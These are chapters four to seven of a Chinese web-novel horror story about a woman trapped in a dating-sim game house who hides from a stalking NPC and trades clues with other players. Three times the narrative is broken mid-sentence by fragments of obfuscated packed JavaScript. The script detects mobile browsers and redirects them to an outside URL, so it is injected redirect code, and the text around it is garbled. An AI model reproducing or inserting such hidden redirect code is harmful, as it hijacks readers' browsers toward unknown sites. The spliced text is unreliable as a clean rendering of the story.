自己留下的划痕还在,林屿舒了口气,正打算开门时无意间往疑似NPC房间的四扇们方向看了一眼,呼吸一滞,背后沁出冷汗,那四扇有平台的门凭空消失了! 原本排列着房门的一整面墙壁光滑洁白,就好像那里原本什么都没有。 “刷……刷……” “啪嗒、啪嗒……” 林屿又听到一开始伴随系统通知而来的拖曳声和脚步声。 4. 第四章 “咚、咚……” “啪嗒……啪嗒……” 不在道是什么发出的、富有节奏的声音似乎已经到了楼梯,正一步一步逐渐逼近,拖曳的“刷刷”声变成了撞击的“咚咚”声,每当心跳捕捉到地面的声响,都没来由地漏掉一拍。 林屿身体已经缩回房间,却仍然贴在门边,握住把手打开一条缝隙,向外窥探。她看见浓重的黑暗从楼下向上涌动,随着让人心慌意乱的声音逼近二楼,一个若隐若现的黑色人影渐渐从头顶显露到上身,她正要细看,忽然,黑色人影抬头向她的方向望过来。 黑暗像一下子找到了方向,如狂风刮动一般翻滚着涌来,眼看着就要冲入门缝,“咔哒”一声,林屿眼疾手快关上房门,背后已是一身冷汗。 但不是没有收获。 她已经看见了那个黑影,不高,很瘦,似乎正是之前碰到线索物品是所见,黑影手中拿着长长的东西,像是拖布或者扫帚。 “咚咚、咚咚。” 敲门声响起,站在门边的林屿后退一步,却忽然撞上了什么东西,她吃了一惊,正要回头去看,忽然嘴被捂住了。 “嘘……”温热的吐气打在颈侧,林屿起了一身鸡皮疙瘩,她僵着身子回过头,第一眼看到的是一双睫毛长长碎光闪烁的眼睛。 是一个突然出现在她房间内的、漂亮的男人。 他有着一双色彩罕见的金棕色眼睛,眉目深邃,鼻梁挺直,唇色是浅浅的红色,肤色略微苍白,散乱的头发也没有很深的色素,呈现出浅棕。他的气质仿佛融入了超现实的因素,换句话说,画风实在太过梦幻绮丽,整个人就好像是从乙游里走出来的一样。 林屿和他对视着,心中又产生了这游戏是一个真正乙游的错觉,忽然敲门的“咚咚”声变得急促起来,最后竟变成了砸门。 就好像敲门的东西从一个礼貌的绅士逐渐变身成野兽。 林屿心绪回到现实,正想拿什么东西堵住门口,却见男人“啪”地一下关掉灯,带着她走向床边就要拉着她躺下。 这——是不是有些太急了? 她是不是应该拒绝,或者装作拒绝一下? 现在门外还有危险没有过去,时机会不会不太合适? 林屿就这样稀里糊涂地被带动了几步,理智渐渐回笼。 不对!!! 他到底是谁啊!!! 林屿正要挣扎,忽然听到一阵细微的响动,男人往门缝下指了指,伸手扯过被子把自己的全身都盖住。 等她的眼睛适应了黑暗,能看清东西的时候,头皮蓦然炸开。从门缝下咕噜噜滚进房间来的,竟然是一只还连着神经的眼球。 她现在寻找掩体已经来不及了,唯一能做的就是躺到床上用被子挡住自己,然而唯一一床被子已经被用掉,床上的人把自己遮得严严实实的,林屿怀疑自己根本抢不过他。 呸,什么美男!明明是害人精!林屿想给刚才还在赞叹美貌的自己两巴掌。 眼球黑洞洞的瞳仁就这样定定地看向床边,林屿就这样完全暴露在视线之中。她僵着身子一动不动,等待门外突如其来的袭击,暗自蓄积着力气准备使用技能随时起飞。 就这样过了一分钟,在她的感知里却仿佛漫长到一个小时,眼球咕噜噜地又滚回门外。林屿舒了一口气,正准备料理床上的不速之客,却见他忽然一掀被子,又翻身藏到了床底。 这是做了亏心事现在怕被她算账? 林屿俯下身正要找他,忽然看见床对面的梳妆镜里有一道黑影,头皮又是一麻。 是自己的影子吗?不,不对! 她现在明明弯着腰,而黑影确是直着上半身的! 她不知道黑影就这样看了她多久,因为她刚才直着身子全身心都在门缝的眼球上,在没有违和感的情况下完全没有注意到这边。 也许,从她进门就在了…… 林屿僵硬着和黑影面对面,脚边的床底无声无息,被浓重的阴影遮蔽,她甚至觉得床底NPC再变成怪物,忽然伸出一只手抓住她的脚踝把她拖进黑暗也不是不可能。 这种情形是如此压抑,如此可怖,一触即发,也如此熟悉。 林屿缓缓呼出一口气,忽然没有那么恐惧了,规矩哪里都有,制定者对遵守着拥有绝对的权力,即使不在这里,即使是她没有被卷入游戏,在现实世界回到家中,不也一样要遵守那些条条框框,跨越一步雷池就要受到风雨欲来的怒火和惩罚吗? 压迫力固然可怕,她也许会受到伤害,但那些心理上的灾难感是无限夸大的感官,并不等同于现实中的难题是同等的程度。 她得冷静下来。 想通了以后,林屿恢复了思考力,直接上前打开衣柜门拿了件衣服遮住镜子。 黑影在镜子里看了那么久没有攻击,肯定不是不想,而是不能。 遮住镜子后,门外安静了很久,就在林屿以为黑影已经离去的时候,门口忽然传来巨响。 响声接连不停,这一回似乎终于不再是缓慢的恐吓与试探,而直接变成了砸门,一声一声利器劈砍的响动震得人耳膜发麻,从门的抖动幅度来看,似乎坚持不了多久了。 林屿脑海里闪过被拉入游戏后的种种经历,系统发布的任务、穿裙子的玩家、线索物品的危险、墙上的告示、没有被提及的NPC、消失的房门、房间里奇怪的男人…… 林屿又冲到衣柜边,目光扫过品类各异的衣物,从中选出了一套最大的连衣裙,她把裙子塞到床下,对男人说:“快换上!马上门就破了!” 男人从床底出来,脸色一言难尽地看了看手上的大红花裙子,注意到被遮住的梳妆镜。 “原来是这样发现我的。”他对林屿说,“没用的,我已经被看见了。” “看见了又怎样,你可以重新证明自己啊!”林屿看着快要被破开的房门倒是有些急了,“快穿上!” “我不。”他拒绝的样子就像一个忽然固执起来的小孩子。 “你难道不怕被抓住吗?”林屿问。 男人像是被问到了得意之处,他说:“还没有谁能抓住我。” 可是谁都可以把她抓住啊! 林屿已经明白了门外黑影为什么会攻击自己的房门,门缝下的眼睛和镜子里的人影是在找人,而男人躲躲藏藏的行为证实了这一点,然而他躲过了门缝下的眼珠没有躲过来自镜子的窥探,所以被外面的东西知道了。 玩家最开始穿上的裙装是在保护他们,这象征着女性的身份,而需要躲藏的、怕被找到的,是白天不见人影,夜里房间会消失的那四个男NPC。 其实刚才她打算让男人穿上裙子再把镜子上的衣服拉下来,让黑影以为找错了,但现在男人不愿意配合,她拿回裙子,恨不得把它甩正在砸门的那个东西脸上以表房间清白。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495246|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 忽然,林屿手中一空,砸门声也一停。 系统的提示姗姗来迟却宛如救星:“技能‘给予’已激活。” 给予?自己又激活了一个技能? 但此刻顾不得多想,林屿仔细倾听着门外的声音,系统的通知又在此刻响起:“小丽好感度+10。” 这……也可以? 林屿再接再厉,从衣柜里找来一条漂亮的高档短裙,使用技能送出去,收到好感度+20的通知:“小丽获得了看中好久的昂贵裙子。” 林屿想继续,可门外传来渐渐远去的拖动声,她的技能也用不了了。 林屿终于有了劫后余生的感觉,其实她都已经做好被破门后临死挣扎或是一整夜躲避战的准备,因为躲进她房间里的男人被看到不仅意味着目标被找到,也意味着她没有遵守一人一间房间的规则,如果NPC算人的话。 但也可能自己并没有违反规则,毕竟那四个消失的房间就说明他们四人要躲进玩家房间,如果是这样的探查力度的话,那一个逮一个准。 林屿终于有机会好好“了解”旁边这个今晚危机的罪魁祸首。 “小周?” 此时系统叮咚一声。 小周挑眉,“你怎么知道是我?” “你猜。”林屿心想,因为她只刷了他的好感度啊,她一边查看系统通知一边问,“你怎么没有穿花衬衫?” 面前的男人穿着白衬衫休闲裤,一点也没有纸条线索上花花公子夜店蝴蝶的感觉,难怪他被猜中名字很惊讶。 “我总不可能随时都穿着社交衣服吧。”他回答。 原来他把花花衣服称作社交衣服…… 林屿这时看见系统任务,眼前一黑。 “请与小周度过愉快的夜晚,奖励好感度30。” 她再次怀疑,这真的是个乙游,还是18+的那种。 要怎么度过愉快的夜晚啊……林屿简直想当做没看到这个任务,但又眼馋那30好感度,想了想决定愉快地聊天。 “小周,你平时有什么爱好吗?” “爱好,你为什么要问这个,难道……”他戏谑地提起嘴角,低头凑近,“你看上我了?” 林屿面无表情地后退一步,直接切换话题,“你们为什么躲着小丽?” “你怎么知道她叫小丽?你还知道什么?” “我还知道——我还可以把你赶出去。”林屿说,“刚才小丽就是因为你才砸门的,我帮你度过一次危机,你可以用回答问题来交换。” “你以为明晚我还会来吗,呵。”小周哼了一声。 “可是今晚你还要待在这里,虽然你说不会被抓住,但上蹿下跳一整晚和平安度过一整晚总可以选择吧。” 林屿说完就收到通知:“小周好感度-10。” 林屿:“……可以回答我了吗?” 小周思索了一会儿,像是在组织语言,“因为小丽恨我们,我们四人曾经做了一些事,之后小丽因为意外而死亡,开始向始作俑者报仇。” 林屿:“……可以详细说一说是什么事吗?” 小周定定地看着她,“我说了,可以当做明晚的交换份额吗?” 林屿反应了一下才明白他的意思。 ……朋友,你还记得刚才说了什么吗? “你以为明晚我还会来吗,呵”——这句话,砸在脸上了啊。 5. 第五章 林屿搬来梳妆台前的椅子示意小周坐下,自己则坐在床沿。小周以为她同意了他的说法,正要开口,忽然听她说:“这个问题是今晚的交换份额,明天我会问其它问题。” 小周闻言勾起唇角似笑非笑,“你真是不吃亏。” “交换,不就应该公平等价,不然就叫巧取豪夺,你觉得呢?”林屿说,“还是说,你的安稳不值得这个问题?” “好吧。”小周正要说下去,忽然被又一次响起的敲门声打断了。 不过这次,并不是林屿的房门。 她比了个噤声手势,蹑手蹑脚前往门边,侧耳倾听着门外声响。不是隔壁,是在更远一点的位置,但无法分辨出具体是哪一扇。 敲门声持续了一会儿便停止了,静默片刻,传来一声惨叫,随后便是熟悉的利器砸门声。 “砰、砰。” 林屿在门边紧皱着眉头听着,手不知不觉放在了门把手上。 “你想去救人吗?”小周说,“但是以你现在的能力根本救不了人,还会把自己搭进去。” 林屿依然没有放下手。 “刚才你的门快被破开的时候他们在哪里呢?”小周继续说道,“况且,你知道砸的是谁的房间吗,万一是你讨厌的那几个人呢?” “而且……就算被抓住也不会怎样。” “被抓住难道不是会死吗?或者发生其它什么可怕的事。”林屿疑惑地问,“不会怎样是什么意思?” “只是会被驱逐出这里罢了,然后就会回到你们所谓的安全区。”小周说,“这个回答抵今天的住宿费。” 林屿思考着,显得分外迷惑,“那这个游戏的目的是什么呢?没有死亡,那失败也不会死亡吗?” “是的,失败也会被送回安全区。” “至于目的,谁知道呢,也许就是一个恶作剧。”小周同时露出一个恶作剧般的笑容。 林屿走回床边坐下,心中依然充满谜团,她被不明不白地拉到这里,经历了荒诞的开场和老玩家的轻视,目睹了队友受到的实实在在的伤害,一路小心翼翼地寻找线索,方才还差点以为自己要被杀死,却被轻飘飘告知了一句: 危险都是骗你们的,这只是个恶作剧。 忽然她想到了一个说不通的地方,“那老玩家为什么处心积虑地要赢?如果成功失败死亡的结果都是回到安全区,他们还有什么必要赢得游戏?” “今天我已经超额回答了你的问题。”小周眨了眨眼,“不过……谁让我看你顺眼呢?” “因为获胜有奖励啊……” 门内门外都是一片静悄悄的,这时敲门声第三次响起,位置听起来离得更远了。 见林屿没有说话,小周问:“现在我可以休息了吗?” 他说着就要走过来躺下。 “等下。”林屿阻止他,“看起来你很受女孩子欢迎?” “是啊,怎么了?”他闻言还故意撩了撩头发。 “那你一定很少被拒绝吧。”林屿说。 “?” “你睡地板吧,或者在凳子上将就一晚上。”林屿冷酷无情地说道,接着自己霸占了被子和床。 “你难道不知道我的好感度很关键吗?”小周不可置信。 “既然失败和死亡都会回到安全区,那我为什么还那么努力地闯关赢?” “而且你顺风顺水惯了,肯定看不上对你言听计从的人,所以我这都是为了做最特别的那个人啊!” 神TM最特别的那个人! 小周愤恨地坐回没有靠背的小凳子,眼神一时极为危险。 林屿熟视无睹,转过身睡了。 然后收到小周好感度-10的通知。 “我还有最后一件物品在外面,如果明天你没有找到的话我就去别人那里了。”小周幽幽地说。 谁稀罕他在哪里! 她好不容易挣来的20好感度就这样归了零。林屿恨恨看着小周好感度后面那个鲜红的0字进入梦乡。 第二天醒来,窗外一层蒙蒙白光,在最短的时间弄清自己处境后,林屿第一时间环顾四周,房间已经空无一人,自己好像也没有缺胳膊少腿或者被暗杀。 “第二天吗……”她默默想着,检查着自己的好感度,却发现小周那一栏竟然从昨晚的0涨到15了。 怎么回事,难道自己在睡梦中做了什么? 林屿仔仔细细检查了一遍,才发现这个好感度是系统给的,“和小周度过愉快的夜晚”这个任务完成度50%,林屿用脚指头想都知道是哪50%没有完成。 算了,至少比0好。 这时敲门声响起。 林屿略带PTSD地警觉看过去,这才反应过来昨夜的危险已经过去,应该是玩家在外面敲门。 门外韩舒略带疲惫的脸进入视线,“有两个玩家出局了。”他带着林屿向最近的那扇大开的房间走去。 林屿注意到自己的门上满是受到破坏的痕迹,又想起昨晚的惊魂体验,可小周又说不会死人……算了,去看看那两个玩家怎样就知道他说的是真是假。 韩舒走在前方,她忽然发现他身上的裙子背面布满褶皱,像是一夜未换。 “你刚才说出局……”林屿试探着说,“玩家失败和死亡都是出局?出局又是什么意思?” 房门已经完全被破坏,木块木屑落了满地,门只残存一半,边上布满了利器砍凿出来的缺口。 地上凌乱地铺着一套睡衣,而倒塌的凳子上随意搭着一条灰裙子。床脚被砍断,衣柜门上布满坑洞,整个房间内像是经历过一场战斗般一片狼藉。 林屿眼尖地看到星星点点的血迹,心里忽然一凛,玩家被杀死了! 小周在骗她! 林屿听到早已在屋内检查的黑裙女人叹息,“他晚上换回男装了啊……” 灰裙男人也许是见到中年男人和杀马特都换回男装却没有受到攻击,为了舒适在夜晚换下睡衣,没想到正好门外NPC窥视了他的房间。 “其实我本来不想告诉你的,因为知道这一点的新人基本上就没法赢得游戏了。”韩舒叹了口气。 “说出来又有什么关系。”黑裙女人说,“一味沉溺在恐惧里也没法好好找线索。” 她看着林屿,“在副本里没有死亡。” “没有死亡?” 和NPC小周一模一样的话。 “对,玩家在副本内被杀死,或者副本失败都不会真的死亡,只是会被关几天小黑屋,然后送回白城,也就是所谓的安全区和休息区。” 林屿注意到一个新的信息,“小黑屋?” “小黑屋是这个游戏的惩罚地点,名字是玩家取的,因为那里没有光线没有声音,也没办法探索,玩家在那里动也动不了,很遭罪。”韩舒解释道。 “睡一觉就好了,在那个地方很容易睡着。”黑裙女人不在意地说。 “所以真的没有死亡危险……”林屿喃喃自语。 “并不是!”韩舒反驳说,“小黑屋也不是绝对安全,你不知道前段时间有好多人在那里……” “好了!”黑裙女人制止韩舒,“现在不是说这些的时候。” 她瞄了眼陆续走来的两个女孩,杀马特青年和干瘦男人,从地上衣物中捡出一张纸条。 “新的线索。” 有好多人在那里怎样了?林屿抓耳挠腮想知道完整的内情,她注意到黑裙女人的用词,“在副本里没有死亡”,结合韩舒的反应,似乎在副本外的其它地方并不是绝对安全的……黑裙女人可能并不想让新玩家知道这点。 黑裙女人当着众人的面念出纸条上的字:“没想到他竟然隐瞒了这样大的事情,我们可能好心办了坏事,但是他哭着求我不要说出去,说会处理好一切,于是我又一次选择了沉默。” “这是到现在为止遇到的最长的一条提示了。”半晌,韩舒说道。 林屿静静地听着,跟着他们去了另一个被破门的房间,根据衣物判断,这里住的是中年男人。他的衣服里也找到了提示: “他最近得了一大笔钱,我给他说我知道那个消息,他果然借给我了许多,还威胁我不要说出去,呵,说出去我还能找他要钱花吗?我才不会做这种事。” “我想我们现在需要汇总一下线索,这两条提示似乎说明了屋子里四个人中有人做了什么事情,至少有两个人在帮他隐瞒。”林屿在这时说道。 韩舒也赞同她的说法:“这似乎不是单纯的好感度比拼,我们得明白这些信息想告诉我们什么。” 黑裙女人也点头,只有干瘦男人鼻子喷气嘲讽了一句“你们又能拿出几条”。两姐妹和杀马特因为手中没有线索没能插得上话。 几人来到餐桌边坐下,黑裙女人将刚才捡到的两张纸条摆放在桌面中央,又拿出了两张倒扣在手心下方,说:“这是我拿到的线索。” 林屿和韩舒对视一眼,韩舒拿出了一张纸条学着黑裙女人的方式倒扣在桌面,“我拿到一条。” 林屿则在众人惊讶的目光下拿出两张纸条,干瘦男人看到这一幕受到刺激,眼睛都要喷火了,虽然昨天他一共拿到了两个线索物品,但他实际找到的只有一个,还是惊险避过攻击,有一个物品是抢中年男人的,而黑裙女人的纸条有一张也来源于中年男人,而且内容已经被很多人看过。 “瞎猫碰死耗子!”干瘦男人讥讽道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495247|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你一个新人怎么可能找到这么多线索还毫发无损!” 新人怎么了,新人吃你家大米了? 林屿一直不明白干瘦男人对新人的敌意来自哪里,但这不妨碍她做出反击,众目睽睽之下,她继续伸手,从兜里再次摸出一张纸条,缓缓放在桌面上。 第三张。 “不可能!肯定是你伪造的!” 林屿理也不理,转头对韩舒说道:“这张是另一个人的,我和你交换。” 韩舒说:“好。”爽快地和她互换了线索。 黑裙女人看见拿出三条线索了林屿也显得十分惊讶,但她更多的表示出惊叹和欣喜,“太好了,这样能推断出的东西就更多了。” 她率先翻开纸条传递给左边的林屿,“顺时针传阅一圈。”然后看向干瘦男人。 “一副略微掉漆的金丝眼镜,小郑习惯性的动作是推眼镜。” 林屿看了看纸条,同时拿出自己的一张给旁边的韩舒,把剩下两张翻到有字的一面放在桌面中央供人查看。韩舒看完把自己的一张纸条加进去传给下一个玩家。 干瘦男人见状不情不愿地交出纸条给了黑裙女人,再传递到林屿手中时她便看见了玩家手中最后一条线索:“一瓶闻起来芬芳扑鼻的香水,大吴前几天购买后经常喷。” 林屿已经对应起所有的人和物品: 花领带:一条红绿金配色的俗气领带,小周是个骚包的男人。 花衬衫:一件印着紫色牡丹花黑底的衬衫,小周在酒吧像朵招蜂引蝶的花。 手机:一台性能完好的手机,大吴绝对不会把它给别人翻。 香水:一瓶闻起来芬芳扑鼻的香水,大吴前几天购买后经常喷。 金丝眼镜:一副略微掉漆的金丝眼镜,小郑习惯性的动作是推眼镜。 西装:一套衣角略有磨损的西装,小郑最得体的衣服。 围裙:一条旧围裙,老王很照顾人,有时做饭给另外三人吃。 “这些线索似乎在暗示着他们的情况……”所有玩家都传阅后,一直默不作声的琪琪说道。 “是的。”黑裙女人回答,“但在讨论之前,我想问一问。”她转向林屿,“你已经用了小郑的物品吗?没有的话愿不愿意和我交换?我之后找到别人的会给你。” “可以。”林屿本来也是想交换出去,“但等到你找到之后再换,我只要小周和老王的,如果在你之前有人找到的话我会先和他们交换。” “或者,三条新线索也可以。” “行。”黑裙女人爽快同意,“但我希望你能把物品留到今晚。” 见众人的注意力一直在她们身上,干瘦男人不怀好意地插嘴,“真是可惜,淘汰一个人就有一条线索,昨晚本来有三条线索的。” “是啊。”林屿赞成道,“希望明天你能带来今天的第三条线索。” 说着无视了咬牙切实的干瘦男人,对其它玩家说:“夜晚门外NPC会检查三个房间,破门条件是发现玩家没有穿裙子。” 杀马特抹了把汗,他就是换下裙子但没被检查到房间的幸运儿,看样子似乎十分想现在冲回房间换回那条大红裙。两姐妹则是感激地看向林屿,多亏了昨天她的提醒,她们才没有换上更简便的装束。 林屿接着说,“我怀疑夜晚NPC会跑到玩家房间来,被看到也会被破门。” 黑裙女人在干瘦男人惊疑地找到同样的表情,林屿看在眼里,说出了自己的猜测:“NPC可能会来到对应好感度最高的人的房间。” 这两个玩家是昨天和林屿一样交出线索物品刷过好感度的人,昨晚小周也说,如果剩下一件东西被别人找到他就不来了,这映证了林屿的猜测。 “所以,刷好感度还有这样的危险……”韩舒喃喃道,“这才是这个副本的难度所在……” 不刷好感度会游戏失败,刷好感度夜晚被查到NPC在房间会被淘汰,相当于让想通关的人赌运气,难怪夜晚门外NPC只查三间房,如果一晚检查所有房间不到三天就会团灭。 “昨晚你是被看到房间里有NPC?”黑裙女人问道:“那又是怎么脱险的呢?” “我让NPC也换上裙子了。”林屿小小撒了个谎,她本能地瞒住了自己觉醒的技能,也没别的办法说出怎样刷了门外NPC的好感度。 不过小周可是拒绝了换裙子,其他NPC应该也不会同意这个办法,穿帮可能性很小,到时候就看他们应对了。 “你们要注意,NPC非常不愿意配合,可能得想其它办法。”林屿还是提醒了一句。 黑裙女人点点头,“根据信息,你们觉得他们瞒住的事情是什么,又是帮谁瞒住的呢?” 6. 第六章 上午的讨论并没有结果,有人认为做了什么亏心事的是小周,勒索的人是大吴,因为小周看描述很挥霍,而大吴新买了香水,有人认为做亏心事的是老王,勒索的人是小郑,因为老王很会照顾人所以人缘好,其他人愿意帮助他,而小郑追求体面又缺钱这一点让人觉得就是那个骗钱的人。 玩家各执一词,谁也说服不了谁,讨论也进行不下去了。 不过林屿觉得,不管他们说得有没有道理,小周应该不是那个做下亏心事的人,因为昨晚他的态度十分抽离,说起他们被困的原因就像在谈论别人的事一样。 再加上她的直觉,总感觉小周不像个普通NPC。 不过说不准,她本来也没有见过多少NPC,唯二见到的两个都不正常。 她把小郑的西装带回房间放着,预备和别人交换,韩舒则拿着那条围裙获得了第一条加分,杀马特冲上楼换回大红裙,其他人都去继续搜索物品。 林屿则来到厨房简单煮了碗面。 虽然并没有感觉到饿,但是她还没有过一整天不吃东西的经历,身处诡异的世界,还是想做些什么来提醒自己——这里不是梦境,而是现实,所以不要失去理智。 小周的物品暂时还没有头绪,而且林屿心里想着另一件事。 青色的香葱碎洒在洁白的面条上面,袅袅热气蒸腾出勾人馋虫的气息。面条浸泡在清汤里,上面覆盖了鲜嫩的肉片、碧绿的青菜和嫩滑的荷包蛋——这些都是不能收入背包的食物,在筛过一遍后便没有玩家再去留意。 林屿见到两姐妹探头探脑地看过来,对她们说道:“锅里还有很多。”韩舒从下楼后闻到味径直走到餐厅,见到是她后一屁股坐到旁边,动作自然得仿佛两人是闺蜜。 韩舒压低声音对她说:“你要小心,有些玩家把副本当做真的游戏,行动起来没有顾忌的。” 林屿筷子一顿,“你是说,他会对我不利?” 她指的是得罪过的干瘦男人。 韩舒点头,“在没有明确规定不准玩家互相攻击副本就很有可能会发生这种事,尤其是老玩家对上新玩家的时候。” “很多老玩家拥有了技能,比没有技能的玩家更有优势,而且新玩家不仅经验少、对副本机制不了解,还得花时间适应游戏。” “况且副本里死亡和失败都不会要命,有部分玩家就更加没有顾忌了。” 他看了看林屿,“当然,你是例外,一点新人的慌乱都没有,找线索怼人干得比我都勇。要不是你连小黑屋都不知道,我简直以为你是老玩家装的。” “别人都把手扬起来了,我总不可能乖乖站着挨打吧。”林屿回答,又随口说道: “我可能是释放天性,要知道我在现实里都不爱说话的。” “我知道啊。” 见林屿看过来,韩舒打了个哈哈改口,“我觉得有可能。” “对了,你之前说过有好多人在小黑屋怎么样了?”林屿觉得她需要趁机问一问之前他没说完的话下半句,不然这个问题总是悬在那里多让人抓耳挠腮。 韩舒脸上的笑一下子没了,他深吸一口气,说道:“其实我也才来到游戏没几个月,不知道之前有没有发生这种事,但前段时间小黑屋……出了事情,当时在里面的人都没能出来,认识的一个德高望重的前辈也从此失去音讯。” “虽然后面又恢复正常,但是玩家还仍然心有余悸,这段时间所有人都比以前更重视通关。” 原来如此,她之前就在疑惑这点,为什么在失败和淘汰惩罚并不涉及性命的情况下老玩家依然在用尽手段通关。 他的神色认真起来,“而且无论会不会发生意外,你都一定要记得——” “不要进小黑屋。” 不要进小黑屋?可是除非一直通关游戏,几乎不可能办到这点。 林屿对这句话暂时摸不清头脑,看韩舒的样子又不打算继续解释,问另外两个老玩家更不可能得到答案,只能暂时放下这件事,专注眼前的通关。 不过,游戏里的前辈不应该用厉害形容吗,德高望重? “你要和我去搜索物品吗?”韩舒问道。 “你先去吧,我有个想法需要验证。如果找到小周的物品可以留下来和我交换吗?” “好。”韩舒答应下来,走向了还没有被搜过的几间房间。 韩舒走后,琪琪泡泡两姐妹端着碗坐到了林屿旁边,她们看着碗里沉浮的面条,鼻腔里满是家常饭时的气息,忽然涌出眼泪。 陆琪琪轻轻啜泣着,问她:“姐姐,你都不害怕吗?万一回不了家了怎么办……” 林屿当然是害怕的,但是这种害怕又与一种新奇的体验融合,变成一种探索未知的动力,她不在意能不能回家,却也并不喜欢这种人生安全失去掌控的感觉,她的期望在于回到现实世界。 “一定有办法的。”她说,“我会走出这里。” 林屿并未安慰她们什么,相反,她更像是在给自己树立目标,但两姐妹心中也莫名生出些笃定来,悬在半空的心稍稍安稳一些,周泡泡在心中想着:要是我也有姐姐这么处变不惊就好了…… 林屿走进厨房看了看剩下的面条,其实她做饭的目的并不是为了自己吃,主要想验证一个想法。 她拿出四个碗,每个碗里装入一些面条,又向每个碗里加了一些辣椒进去,装在托盘里端上二楼。她这是要试一试另一种加好感度的方法。 把辣味面分别放在各NPC门外托盘上,她得到了1、3、5、3的加分,5好感度是小郑给的,系统通知说他喜欢吃辣。 那个1分是小周给的,系统通知的原话是这样:“小周觉得十分难吃,看在做饭心意份上勉强给了个1好感度。” 小周真是辣鸡。 但经过这番尝试,林屿已经找到了新的刷好感度的方法,她转过头去找两姐妹告诉了这个消息。 “老王喜欢吃辣,还有甜的和咸的你们可以试试谁喜欢吃。” 不用冒着断手断脚的危险,而且还可以无限制刷好感,这一份惊喜来得太突然,她们一下子不知道怎样表达感谢。 “姐姐,你不用自己加好感度吗?”陆琪琪小心翼翼地问道。 “我用其它的办法。”林屿说,“而且如果把他们当做人来看,可能一天吃不了几碗,所以这个方法也有限制,尽量不要多用。” “对了,答应我一件事。”临走前林屿叮嘱道:“记得给我留一碗正常口味的。” “还有。”林屿咬牙切齿,“不要给小周送饭!就是左边数第一间那里!” 饿死他! 饿不死也膈应他! 这个白天剩下的时间林屿都在寻找线索物品,虽然没有找到小周的最后一件,但也不是没有收获。 车票:一张新买的车票,老王近期打算回家一趟。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495248|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这一张车票压在抽屉里凌乱的杂物下方,如果不是她仔细拿出了抽屉里的每一件物品根本看不到它。 而且这次她并没有受到攻击,这样的情况无疑证明了一件事——阻止玩家拿到线索物品的黑影正是小丽,因为只有刷过好感度的小丽有可能放过她。 可新的疑问又浮现心头:她为什么要阻止玩家得到线索,得到这些物品呢? 阻止玩家通关? 林屿用这张车票和韩舒交换了大吴的照片和线索: 一张普普通通的老照片,似乎是乡间旧屋的农村老人。 照片纸张泛黄,黑白灰三色里坐在椅子上老人的面容已经模糊不清,背景是一间砖瓦土屋,屋里隐约能看见有人。 这个线索物品似乎没有什么用处,林屿并不打算去和干瘦男人交换,其他人就算拿到这个好感度也不会超过他,大概也是换不出去的。 不过这一天最大的收获还是他们终于弄清了自己为什么是应聘者的原因。 杀马特青年在垃圾桶里翻到被撕碎的纸张,勉强拼凑齐后发现是一张传单,就像贴在电线杆上的那种: 4名青年诚聘过年回家女友,500元一天,包吃包住! 青年靓,包你眼福不吃亏! 仅演戏,保证安分守己不毛手! 日结算,绝不拖欠! 有意者请在周日上午10:00到安心小屋参与应聘。 原来玩家竟是这样的身份,难怪最开始都被系统套在裙子里了…… 但经过这几天的探索,谁都知道那4个NPC的目的肯定没有表面那么简单。 夜里消失的四个房间,在自己这里躲藏视线的小周,黑影小丽发现“男性”就破门的行为,隐藏自己肯定是4名NPC的目的之一。 那让玩家找东西又是为了什么呢? 林屿对杀马特青年表示了感谢,问他:“你为什么单独告诉我这个?我也和你一样是新人啊。” 杀马特露出一个和形象不符的腼腆笑容,“因为我感觉你是大佬。” 林屿:“……”言重了,言重了。我也只是一个和你一样的菜鸡。 “我现在没有什么可以和你交换的东西。”她想了想还是没有把旧照片给他,一是仅靠一张照片肯定超不过干瘦男人刷到的大吴好感度,二是被发现拿着大吴的线索物品容易被抢。她没有和杀马特说用食物刷好感度的事,两姐妹太恐慌了需要一点希望和一点事情做,而杀马特看上去精神状态良好。 况且,昨天小周说只剩最后一件物品后,她就猜测线索物品一人只有三件,四个NPC好感度最高的人几乎已经确定了。 杀马特并不显得失望,“没关系,就当交个朋友。对了,我叫萧谷亮。” 互通姓名后,林屿对他说:“如果玩家还在一起交流线索的话,我可能会把这个消息拿出来。” 他想都没想就说,“当然可以,大家一起思考才更容易破解密室嘛……” 他竟然把这个副本当做密室逃脱…… 林屿忍不住问了一句:“当时你为什么要玩乙游啊?” “嘿嘿,说了你不要告诉别人。”萧谷亮压低声音,“因为一直找不到对象,我就打算下一款乙游研究一下未来女朋友的喜好,不是说最了解女性的就是市场了吗,没想到被拉到了这个吓人的地方。” 林屿:“……”一时不知该说什么好。 7. 第七章 夜晚又一次来临,当窗外的亮光消失,迷蒙的白逐渐变换成诡谲的黑时,所有玩家都默契地回到房间锁好门。 